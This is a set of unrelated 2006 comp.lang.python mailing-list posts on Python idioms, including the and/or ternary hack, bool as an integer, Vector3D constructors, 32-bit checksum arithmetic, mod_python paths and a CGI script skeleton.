Subject: Tertiary Operation
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <eh2mer$q80$1@south.jnrs.ja.net>


"abcd" <codecraig at gmail.com> wrote in message 
news:1161091832.088769.279630 at b28g2000cwb.googlegroups.com...

>x = None
> result = (x is None and "" or str(x))
>
> ...what's wrong with the first operation I did with x?  I was expecting
> "result" to be an empty string, not the str value of None.

Your evil tertiary hack has failed you because the empty string
counts as false in a boolean context. Please learn to love the
new conditional expression syntax:

http://docs.python.org/whatsnew/pep-308.html 




From grflanagan at yahoo.co.uk  Mon Oct  2 09:14:14 2006
From: grflanagan at yahoo.co.uk (Gerard Flanagan)
Date: 2 Oct 2006 06:14:14 -0700
Subject: __init__ style questions
References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>
Message-ID: <1159794854.752892.233110@m7g2000cwm.googlegroups.com>

Will McGugan wrote:

> I am writting a Vector3D class as a teaching aid (not for me, for
> others), and I find myself pondering over the __init__ function. I want
> it to be as easy to use as possible (speed is a secondary
> consideration).
>
> Heres the __init__ function I have at the moment.
>
> class Vector3D(object):
>
>     __slots__ = ('x', 'y', 'z')
>
>     def __init__(self, x_or_iter=None, y=None, z=None):
>
>         if x_or_iter is None:
>             self.x = self.y = self.z = 0
>         elif z is None:
>             it = iter(x_or_iter)
>             self.x = float(it.next())
>             self.y = float(it.next())
>             self.z = float(it.next())
>         else:
>             self.x = float(x_or_iter)
>             self.y = float(y)
>             self.z = float(z)
>
> A Vector3D can be constructed in 3 ways. If no parameters are given it
> assumes a default of (0, 0, 0). If one parameter is given it is assumed
> to be an iterable capable of giving 3 values. If 3 values are given
> they are assumed to be the initial x, y, z.
>

here's a slightly different approach:


class Vector3D(object):
    __slots__ = ('x', 'y', 'z')

    def __init__(self, X1=None, X2=None, X3=None):
        if X3 is not None:
            #assume 3 numbers
            self.x = X1
            self.y = X2
            self.z = X3
        else:
            X1 = X1 or (0,0,0)
            X2 = X2 or (0,0,0)
            self.x = X1[0] - X2[0]
            self.y = X1[1] - X2[1]
            self.z = X1[2] - X2[2]

    def __getitem__(self, index):
        return getattr(self,self.__slots__[index])

    def __str__(self):
        return '(%s, %s, %s)' % (self.x, self.y, self.z )

u = Vector3D()
print u
u = Vector3D(3,4,5)
print u
u, v = Vector3D( [1,2,3] ), Vector3D( (3,2,1) )
print u, v
w = Vector3D( u,v )
print w
w = Vector3D( u, (2,2,2))
print w

(0, 0, 0)
(3, 4, 5)
(1, 2, 3) (3, 2, 1)
(-2, 0, 2)
(-1, 0, 1)

Gerard



From bjobrien62 at gmail.com  Sat Oct  7 17:24:10 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 7 Oct 2006 14:24:10 -0700
Subject: operator overloading + - / * = etc...
Message-ID: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>

Can these operators be overloaded?
If so.  How?



From gagsl-py at yahoo.com.ar  Fri Oct 27 23:02:50 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Sat, 28 Oct 2006 00:02:50 -0300
Subject: question about True values
In-Reply-To: <ehueah$r6p$1@sea.gmane.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org> <ehueah$r6p$1@sea.gmane.org>
Message-ID: <7.0.1.0.0.20061027234001.0454a1e0@yahoo.com.ar>

At Friday 27/10/2006 23:13, Steve Holden wrote:

>J. Clifford Dyer wrote:
> > the one thing that Ms. Creighton points out that I can't get past is
> > that Python, even with its bool type, *still* evaluates somethingness
> > and nothingness, and True and False are just numbers with hats on.
> >
> >  >>> True + 3
> > 4
> >  >>> bool(True-1)
> > False
> >  >>> bool(True-2)
> > True
> >  >>> (10 > 5) + (10 < 5)
> > 1
>Seems pretty clear to me that the situations you discuss above involve
>numeric coercions of a Boolean value.

A "true" Boolean value should not be coerced into any other thing. 
True+1 is as meaningless as "A"+1, or even "1"+1. The fact is, bool 
is just an integer in disguise.
I always regretted that Python just went mid-way moving onto a true 
Boolean type; I'd prefer it to stay as it was before bool was introduced.

> > Python is not evaluating the truth of the matter, but, as Ms. Creighton
> > would say, the "somethingness" of that which 10 > 5 evaluates to.  (1
> > aka True)
> >
>   >>> type(10>5)
><type 'bool'>
>   >>>

 >>> bool.__mro__
(<type 'bool'>, <type 'int'>, <type 'object'>)

>It does seem that there is a specific type associated with the result of
>a comparison, even though you would really like to to be "a number with
>a hat on".

It *is* an integer with a hat on.

 >>> isinstance(True,int)
True


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From ebgssth at gmail.com  Thu Oct 12 04:45:27 2006
From: ebgssth at gmail.com (js )
Date: Thu, 12 Oct 2006 17:45:27 +0900
Subject: prefix search on a large file
Message-ID: <a23effaf0610120145o2e7d82fdr45f70ef5d01e06c8@mail.gmail.com>

 Hello, list.

 I have a list of sentence in text files that I use to filter-out some data.
I managed the list so badly that now it's become literally a mess.

Let's say the list has a sentence below

1. "Python has been an important part of Google since the beginning,
and remains so as the system grows and evolves. "

2. "Python has been an important part of Google"

3. "important part of Google"

As you see sentence 2 is a subset of sentence 1
so I don't need to have sentence 1 on the list.
(For some reason, it's no problem to have sentence 3.
Only sentence that has the "same prefix part" is the one I want to remove)

So I decided to clean up the list.

I tried to do this simple brute-force manner,  like

---------------------------------------------------------------------------
sorted_list = sorted(file('thelist'), key=len)
for line in sorted_list[:]
  unneeded = [ line2 for line2 in sorted_list[:] if line2.startswith(line) ]
  sorted_list = list(set(sorted_list) - (unneeded))
....
---------------------------------------------------------------------------

This is so slow and not so helpful because the list is
so big(more than 100M bytes and has about 3 million lines)
and I have more than 100 lists.

I'm not familiar with algorithms/data structure and large-scale data processing,
so any advice, suggestions and recommendations will be appreciated.

Thank you in advance.


From grante at visi.com  Wed Oct 11 11:19:10 2006
From: grante at visi.com (Grant Edwards)
Date: Wed, 11 Oct 2006 15:19:10 -0000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
	<12iq1dkhbudd9d7@corp.supernews.com>
	<1160579100.680703.165390@h48g2000cwc.googlegroups.com>
Message-ID: <12iq2rebvrmcr19@corp.supernews.com>

On 2006-10-11, mensanator at aol.com <mensanator at aol.com> wrote:
>
> Grant Edwards wrote:
>> On 2006-10-11, mensanator at aol.com <mensanator at aol.com> wrote:
>>
>> >> Like Alanis Morisette said about the song "Isn't it Ironic":
>> >> What's ironic about the song is that it doesn't actually
>> >> contain any irony.
>> >
>> > Any? Don't people plan June weddings thinking the weather
>> > will be nice? And isn't one of the defintions of irony when
>> > things turn out the opposite of what you expect?
>>
>> Not really, no.
>
> American Heritage Dictionary:
> irony: 4. Incongruity between what might be expected to happen
> and what actually occurs.

Yup, you're right.  That seems to be a usage frowned upon by
old-school types, but it appears to have become common enough
that it's made it into dictionaries.


-- 
Grant Edwards                   grante             Yow!  How's it going in
                                  at               those MODULAR LOVE UNITS??
                               visi.com            


From xah at xahlee.org  Sun Oct 29 01:55:29 2006
From: xah at xahlee.org (Xah Lee)
Date: 28 Oct 2006 22:55:29 -0700
Subject: what are the most frequently used functions?
In-Reply-To: <barmar-9B3FB2.10403928102006@comcast.dca.giganews.com>
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
	<barmar-9B3FB2.10403928102006@comcast.dca.giganews.com>
Message-ID: <1162101329.856825.186110@e64g2000cwd.googlegroups.com>

Barry Margolin wrote:
? For Lisp, just look for symbols that are immediately preceded by (
...?

Thanks a lot! great thought.

I've done accordingly, which counts satisfactorily.
http://xahlee.org/emacs/function-frequency.html

Will take a break and think about Perl, Python, Java later...  For
Python and Java, i think the report will also have to count method
call since that what these langs deal with... slightly quite more
complex than just functional langs...

  Xah
  xah at xahlee.org
? http://xahlee.org/



From roy at panix.com  Sun Oct  8 09:30:42 2006
From: roy at panix.com (Roy Smith)
Date: Sun, 08 Oct 2006 09:30:42 -0400
Subject: need some regular expression help
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
	<1160297390.242124.260770@i3g2000cwc.googlegroups.com>
Message-ID: <roy-56F2BC.09304208102006@reader1.panix.com>

"Diez B. Roggisch" <deets at web.de> wrote:
> Certainly true, and it always gives me a hard time because I don't know
> to which extend a regular expression nowadays might do the job because
> of these extensions. It was so much easier back in the old times....

What old times?  I've been working with regex for mumble years and there's 
always been the problem that every implementation supports a slightly 
different syntax.  Even back in the "good old days", grep, awk, sed, and ed 
all had slightly different flavors.


From wdraxinger at darkstargames.de  Sat Oct 28 20:08:34 2006
From: wdraxinger at darkstargames.de (Wolfgang Draxinger)
Date: Sun, 29 Oct 2006 02:08:34 +0200
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
	<72sb14-08j.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.15.24.785616@REMOVE.THIS.cybersource.com.au>
	<j62d14-pkv.ln1@darkstargames.dnsalias.net>
	<pan.2006.10.28.22.40.49.922035@REMOVE.THIS.cybersource.com.au>
Message-ID: <318d14-t8e.ln1@darkstargames.dnsalias.net>

Steven D'Aprano wrote:

> But the source file always exists, otherwise there is nothing
> to rename! Do you mean, open the destination filename?

Of course I meant the destination file. Someone please spill some
ice chilled water over me to get me awake again. Time to go to
bed :-P before I make more dumb mistakes/typos...

Wolfgang Draxinger
-- 
E-Mail address works, Jabber: hexarith at jabber.org, ICQ: 134682867
GPG key FP: 2FC8 319E C7D7 1ADC 0408 65C6 05F5 A645 1FD3 BD3E


From http  Thu Oct 12 03:27:09 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 00:27:09 -0700
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
	<7xslhuxg6w.fsf@ruckus.brouhaha.com>
	<mailman.358.1160634247.11739.python-list@python.org>
Message-ID: <7xpscyf0z6.fsf@ruckus.brouhaha.com>

Fredrik Lundh <fredrik at pythonware.com> writes:
> >> Ok, I'll bite.  How do you compute the median of a list using just
> >> a single temp var?
> > Well there's an obvious quadratic-time method...
> 
> that does it without modifying the list?
> 
> if you can modify the list, there are plenty of algorithms that does
> it in expected O(n) or better, but I cannot think of a one that
> doesn't use at least a few variables (e.g. two list indexes and a pivot).

Hmm, whoops, I didn't count the list index for the quadratic time
version (but that version shouldn't need to modify the list).

If you can modify the list, let's see, you can swap two elements with
no temp vars:

   a[i] ^= a[i+1]
   a[i+1] ^= a[i]
   a[i] ^= a[i+1]

This assumes an indexed addressing mode so finding a[i+1] doesn't
require using a temp var to hold (i+1).  Let's say the list length is
n, which is not a variable, and constant expressions like n-1 are also
not variables.  I'm still envisioning some reasonable type of assembly
code.  So now we can straightforwardly sort the list with one index
var and one flag bit:

   flag = True
   while flag:
      flag = False
      for i in 0..(n-2):
         if a[i] > a[i+1]:
             swap a[i], a[i+1] as above
             flag = True

and then pick the median out of the middle.

> but I haven't had enough coffee yet, so I'm probably missing something
> simple here.

Yeah, it's night here, maybe after I get some sleep I'll look for a
way to get rid of the flag bit above.


From onurb at xiludom.gro  Tue Oct 17 11:04:45 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 17 Oct 2006 17:04:45 +0200
Subject: Tertiary Operation
In-Reply-To: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
Message-ID: <4534f10e$0$8672$426a74cc@news.free.fr>

abcd wrote:
> x = None
> result = (x is None and "" or str(x))

You don't need the parenthesis.

> print result, type(result)
> 
> ---------------
> OUTPUT
> ---------------
> None <type 'str'>
> 
> 
> y = 5
> result = (y is 5 and "it's five" or "it's not five")

By all means *don't* use identity tests in such a context. Try with
100000 instead of 5:
>>> x = 100000
>>> x is 100000
False
>>>

> print result
> 
> -------------
> OUTPUT
> -------------
> it's five
> 
> ...what's wrong with the first operation I did with x?  I was expecting
> "result" to be an empty string, not the str value of None.

As other already pointed, an empty string (as well as an empty list,
tuple, dict, set IIRC, and zero int or float) evals to False in a
boolean context.

Python 2.5 has a ternary operator. If you need to deal with older Python
versions, another possible 'ternary op hack' is :

x = None
(str(x), "")[x is None]
=> ""
x = 42
(str(x), "")[x is None]
=> "42"

This relies on the fact that False == 0 and True == 1.

NB : if you don't want to eval both terms before (which is how it should
be with a real ternanry operator), you can rewrite it like this:

result = (str, lambda obj:"")[x is None)(x)

But this begins to be unreadable enough to be replaced by a good old
if/else...

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Tue Oct 24 01:57:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 07:57:43 +0200
Subject: How to get each pixel value from a picture file!
In-Reply-To: <ehjhcc$nji$1@sea.gmane.org>
References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com>	<mailman.1013.1161637584.11739.python-list@python.org>	<1161643563.111993.109480@b28g2000cwb.googlegroups.com>
	<ehjhcc$nji$1@sea.gmane.org>
Message-ID: <ehka0m$no3$1@sea.gmane.org>

Steve Holden wrote:

>> 3)         pix = im.load()
>>             print pix[44,55]
>>             pix[44, 55] = value
>>  my python cannt identify "[x,y]" ??
>>
> 
> Now what makes you think that an image can be addressed that way? I'd be 
> quite surprised if yo got anything other than a TypeError doing that.

PIL 1.1.6 (still in beta) supports special pixel access objects. 
earlier versions don't.

</F>



From fredrik at pythonware.com  Tue Oct 10 13:50:44 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 19:50:44 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <7xwt78ullw.fsf@ruckus.brouhaha.com>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>	<mailman.32.1160258060.11739.python-list@python.org>	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>	<mailman.34.1160260043.11739.python-list@python.org>	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>	<m2wt782j4y.fsf@ordesa.local>
	<7xwt78ullw.fsf@ruckus.brouhaha.com>
Message-ID: <eggmhk$upr$2@sea.gmane.org>

Paul Rubin wrote:

> The symbols on the left side of = signs are called variables even in
> Haskell, where they don't "vary" (you can't change the value of a
> variable once you have set it).

at the language specification level, the things to the left side of = 
signs are called "targets" in Python.  if they are plain identifiers, 
they're called "names".

</F>



From robin at reportlab.com  Wed Oct 25 13:33:20 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 18:33:20 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <453F9B42.8060401@v.loewis.de>
References: <453F3189.5000502@chamonix.reportlab.co.uk>	<ehndnf$5n4$1@sea.gmane.org>	<mailman.1167.1161773743.11739.python-list@python.org>	<7xu01s9yoz.fsf@ruckus.brouhaha.com>
	<mailman.1185.1161793738.11739.python-list@python.org>
	<453F9B42.8060401@v.loewis.de>
Message-ID: <453F9FE0.4010000@chamonix.reportlab.co.uk>

Martin v. L?wis wrote:
> Robin Becker schrieb:
>>     def add32(x, y):
>>         "Calculate (x + y) modulo 2**32"
>>         return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL
> 
> That's redundant; it is sufficient to write
> 
>           return (x+y) & 0xffffffff
> 
>>     def calcChecksum(data):
>>         """Calculates TTF-style checksums"""
>>         if len(data)&3: data = data + (4-(len(data)&3))*"\0"
>>         sum = 0
>>         for n in unpack(">%dl" % (len(data)>>2), data):
>>             sum = add32(sum,n)
>>         return sum
> 
> That's also redundant; I'd write
> 
> def calcChecksum(data):
>    data += "\0\0\0\0"[:len(data)&3]
>    return sum(unpack(">%dl" % (len(data)>>2), data)) & 0xffffffff
> 
> I.e. it is sufficient to truncate to 32 bits at the end, instead of
> doing so after each addition.


I can see the advantage in the summation case where all the numbers are known 
positive, however the full problem includes cases where there's an "adjustment" 
to the sum and that usually ends up like this

	adjustment = unpack('>l', table[8:8+4])[0]
	checksum = add32(checksum, -adjustment)

so in those cases I just assumed I needed to force the result into the right 
form before doing the addition. Clearly we can only overflow the 31 bits just 
once, but don't negative numbers have a potentially infinite number of ones at 
the top?

 >>> hex(0xFFFFFFFFL-1)
'0xFFFFFFFEL'
 >>> hex(0xFFFFFFFFL + (-1&0xFFFFFFFFL))
'0x1FFFFFFFEL'

so I think maybe I need to fix at least some of the numbers going into the add32 
function.
-- 
Robin Becker


From webmaster at cacradicalgrace.org  Sat Oct 28 11:53:33 2006
From: webmaster at cacradicalgrace.org (J. Clifford Dyer)
Date: Sat, 28 Oct 2006 09:53:33 -0600
Subject: PROBLEM with MOD_PYTHON
References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
Message-ID: <ehvule$ugl$1@chiara.aioe.org>

dan84 wrote:
> I don't understand this error , in the (Apache) errorlog I read this
> message :
> 
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import
> mod_python.apache.\n
> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being
> used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib',
> '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk',
> 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']".

The four backslashes look okay to me, since there are "s outside the 
list, viz:

 >>> mylist = [ r'C:\Python24' ]
 >>> mylist
['C:\\Python24']
 >>> repr(mylist)
"['C:\\\\Python24']"


Back to your question: Where is mod_python located?  Is it anywhere in 
this path?  Go to each directory/zip file, and see if you find 
mod_python.  If so, is your base directory where you think it is?  (use 
os.getcwd() to find out).  If mod_python is still not in there, where is 
it?  Now add THAT directory to your Python path.

Cheers,
Cliff


From Roka100 at gmail.com  Wed Oct 18 09:24:41 2006
From: Roka100 at gmail.com (Jia Lu)
Date: 18 Oct 2006 06:24:41 -0700
Subject: How to convert this list to string?
In-Reply-To: <%mlZg.6685$fl.5082@dukeread08>
References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
	<%mlZg.6685$fl.5082@dukeread08>
Message-ID: <1161177881.191165.116120@b28g2000cwb.googlegroups.com>

Thank you very much. I memoed all you views.

:)



From maric at aristote.info  Thu Oct  5 11:44:15 2006
From: maric at aristote.info (Maric Michaud)
Date: Thu, 5 Oct 2006 17:44:15 +0200
Subject: Access to static members from inside a method decorator?
In-Reply-To: <1160061499.579029.9130@k70g2000cwa.googlegroups.com>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
Message-ID: <200610051744.17106.maric@aristote.info>

Le jeudi 05 octobre 2006 17:18, glen.coates.bigworld at gmail.com a ?crit?:
> I guess my solution is slightly less elegant because
> it requires this ugly explicit init call outside the classes that it
> actually deals with, however it is more efficient because the dir()
> pass happens once on module load, instead of every time I want the list
> of exposed methods.

You can always replace the need of the init method on classes using a 
metaclass.

This demonstrates it with Bruno's expose decorator, but it can be done with 
your actual init func too.

In [6]: class m(type) :
   ...:     def __init__(self, *a,**kw) :
   ...:         for name, meth in self.__dict__.items() :
   ...:             if getattr(meth, '_exposed', False) :
   ...:                 print 'exposed :', name
   ...:
   ...:

In [7]: class a(object):
   ...:     __metaclass__ = m
   ...:     def f(self) :pass
   ...:     @expose
   ...:     def g(self) :pass
   ...:
   ...:
exposed : g

In [8]: class b(a) :
   ...:     @expose
   ...:     def h(self) :pass
   ...:
   ...:
exposed : h




-- 
_____________

Maric Michaud
_____________

Aristote - www.aristote.info
3 place des tapis
69004 Lyon
Tel: +33 426 880 097


From jstroud at mbi.ucla.edu  Wed Oct  4 06:50:02 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 04 Oct 2006 10:50:02 GMT
Subject: py2app semi-standalone semi-works
Message-ID: <ulMUg.13149$7I1.6975@newssvr27.news.prodigy.net>

Hello All,

I am trying to create a semi-standalone with the vendor python on OS X 
10.4 (python 2.3.5). I tried to include some packages with both 
--packages from the command and the 'packages' option in setup.py. While 
the packages were nicely included in the application bundle in both 
cases (at Contents/Resources/lib/python2.3/), they were not found by 
python when the program was launched, giving the error:

     "ImportError: No module named [whatever module]"

Is this because semi-standalone is semi-broken or is it because I have 
semi-omitted something?

Any advice on resolving this issue would be greatly appreciated and 
would greatly reduce the size of the download.

James


From jhefferon at smcvt.edu  Thu Oct  5 17:56:54 2006
From: jhefferon at smcvt.edu (Jim)
Date: 5 Oct 2006 14:56:54 -0700
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
Message-ID: <1160085414.189057.283230@e3g2000cwe.googlegroups.com>

Clodoaldo Pinto Neto wrote:
> I'm just building a Python CGI Tutorial and would appreciate any
> feedback from the many experts in this list.
I'm not an expert, but I have written a lot of these and I have a
couple of $0.02's.

* All code you put in your writing needs to be correct.  That is, on
the web you can't say something and later in the text say "but this has
a problem and needs to be tightened up" because people will paste in
code that they got from you and won't read the rest.  They will.

Instead, you need the scripts to be right, from the start.  Then you
say "Lets look at lines 1-5.  The reason for those is ..".

* All cgi scripts need logging.  Debugging cgi can be hard and you need
to have a place to write statements of the form log.debug("in
getValues(): value of x is %s" % (repr(x),)).

* You need a DEBUG variable:
    from defaults import DEBUG
    :
    if DEBUG:
       ..

* I've been impressed by Guido's writing that a main() routine makes
sense.  One reason is that you can more easily make unit tests.
Because testing cgi is so hard, this is especially useful in this
context.  (I admit that I'm only a recent convert to this but it really
makes sense.)

So, continuing with my opinions as though they were facts, the skeleton
of all cgi's is something like this, IMHO:

  import sys, os, os.path, urllib, cgi

  from cgi import escape
  from xml.sax.saxutils import quoteattr

  from defaults import DEBUG, LOGGING
  THIS_SCRIPT=os.path.basename(sys.argv[0])
  LOGFILE_NAME=os.path.splitext(THIS_SCRIPT)[0]+'.log'

  if DEBUG:
     import cgitb
     cgitb.enable()

  # all kinds of functions here

  def main(fs,argv=None,log=None,debug=False):
      if argv is None:
         argv=sys.argv
      # logic here

  if __name__=='__main__':
    log=None
    if LOGGING:
      log=openLog(LOGFILE_NAME)
    fs=cgi.FieldStorage(keep_blank_values=1)
    try:
        main(fs,argv=sys.argv,log=log,debug=DEBUG)
    except StandardError, err:
        mesg="General programming error"
        bail(mesg,devel=mesg+":
error=%(err)s",log=log,debug=DEBUG,err=err)
    except SystemExit, err:  # bailed out in a subroutine
        pass
    sys.exit(0)

(where bail() is a routine that puts up an error page -- on that page,
I have one of two messages, the second of which, using the "devel"
string, only appears when DEBUG is True).

In my humble experience, all cgi programs should follow something like
that scheme.

You asked for an opinion!  :-)
Jim



From irmen.NOSPAM at xs4all.nl  Sun Oct 22 18:38:34 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Mon, 23 Oct 2006 00:38:34 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <mailman.950.1161544808.11739.python-list@python.org>
References: <mailman.950.1161544808.11739.python-list@python.org>
Message-ID: <453bf2ec$0$333$e4fe514c@news.xs4all.nl>

Jean-Paul Calderone wrote:
> On Sun, 22 Oct 2006 19:58:44 +0200, Irmen de Jong 
> <irmen.nospam at xs4all.nl> wrote:
>> Jean-Paul Calderone wrote:
>>> I think everyone can agree that Python shouldn't crash.
>>
>> Well, it doesn't really crash in a bad way, in my example:
>> it doesn't work because it simply raises a socket exception all the time.
> 
> Okay.  I assumed you meant the interpreter died with a SIGSEGV or something
> similar.  If the call simply raises an exception, then I'm not sure I see
> a real problem here.

Hmm.. it is not supposed to raise the exception (the code is valid but
just breaks on windows or VMS). On the other hand, the underlying platform
goes bad and what else could Python do? (at this point)



> What'd be really nice is a direct wrapper around recv(2), send(2), etc,
> with a simple socket-object layer on top of that, with timeouts or error
> handling layered on top of that.

I agree, that would be nice indeed.

--Irmen


From jUrner at arcor.de  Fri Oct 13 14:40:53 2006
From: jUrner at arcor.de (jUrner at arcor.de)
Date: 13 Oct 2006 11:40:53 -0700
Subject: IDE
In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it>
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
Message-ID: <1160764853.349351.104680@k70g2000cwa.googlegroups.com>


giuseppe wrote:
> What is the better IDE software for python programming?
>


Eric off course - the better ide for python programming
step-shuffle-step

http://www.die-offenbachs.de/detlev/eric3



From carsten at uniqsys.com  Tue Oct 17 10:44:22 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 17 Oct 2006 10:44:22 -0400
Subject: Tertiary Operation
In-Reply-To: <4534DF4A.2030007@tim.thechases.com>
References: <1161091832.088769.279630@b28g2000cwb.googlegroups.com>
	<4534DF4A.2030007@tim.thechases.com>
Message-ID: <1161096262.12241.8.camel@dot.uniqsys.com>

On Tue, 2006-10-17 at 09:48, Tim Chase wrote:
> [...]
> Either of the following should suffice:
> 
> 	# return a non-empty string
> 	x is None and "None" or str(x)

This one can be "optimized" to just str(x) since str(None)=="None".

>[...]
> There are more baroque ways of writing the terniary operator in 
> python (although I understand 2.5 or maybe python 3k should have 
> a true way of doing this).

Python 2.5 does already.

>   My understanding is that one common 
> solution is something like
> 
> 	{True: "", False: str(x)}[x is None]

As Fredrik pointed out in not so many words, this is not a good
solution. Besides being ugly, the major problem with this solution is
that both branches are evaluated regardless of the outcome of the
condition. This is not good if the expression is unsafe to calculate
under the wrong condition, or if the expressions are expensive to
calculate, or if the expressions have side effects.

The "condition and result1 or result2" hack at least prevents the
evaluation of the non-applicable expression due to the short-circuiting
nature of the "and" and "or" operators.

-Carsten




From ldo at geek-central.gen.new_zealand  Mon Oct  9 04:19:13 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 21:19:13 +1300
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
Message-ID: <egd0k3$u3r$2@lust.ihug.co.nz>

In message <mailman.93.1160373988.11739.python-list at python.org>, Hendrik van
Rooyen wrote:

> "Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:
> 
> 8<--------------------------------------------------------
> 
>> I wonder if we need another "middle" field for holding the "bin/binte"
>> part (could also hold, e.g. "Van" for those names that use this).
> 
> NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a
> space in it - and its peculiar in that the first letter is not
> capitalised....
> 
> And I am sure that the people called "von Kardorff" would not agree
> either...

So do the Dutch phone books have a lot of entries under V, then?

It just seems less efficient to me, that's all.


From fredrik at pythonware.com  Tue Oct 24 11:08:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 17:08:55 +0200
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <apbrj2pe4o5clis6rmhen83kr93kd617pa@4ax.com>
References: <mailman.810.1161324583.11739.python-list@python.org>	<45386ba2$0$1206$9b622d9e@news.freenet.de>	<rojlj25prc0shgqrdmag8c8ot6hrq2c79i@4ax.com>	<fHB_g.17203$UG4.9688@newsread2.news.pas.earthlink.net>
	<apbrj2pe4o5clis6rmhen83kr93kd617pa@4ax.com>
Message-ID: <ehlaa6$n9t$1@sea.gmane.org>

Tim Roberts wrote:

> Further, as I understand it, Python 2.4 extensions can be built with the
> free "express edition" compiler from Microsoft.

or MinGW.

</F>



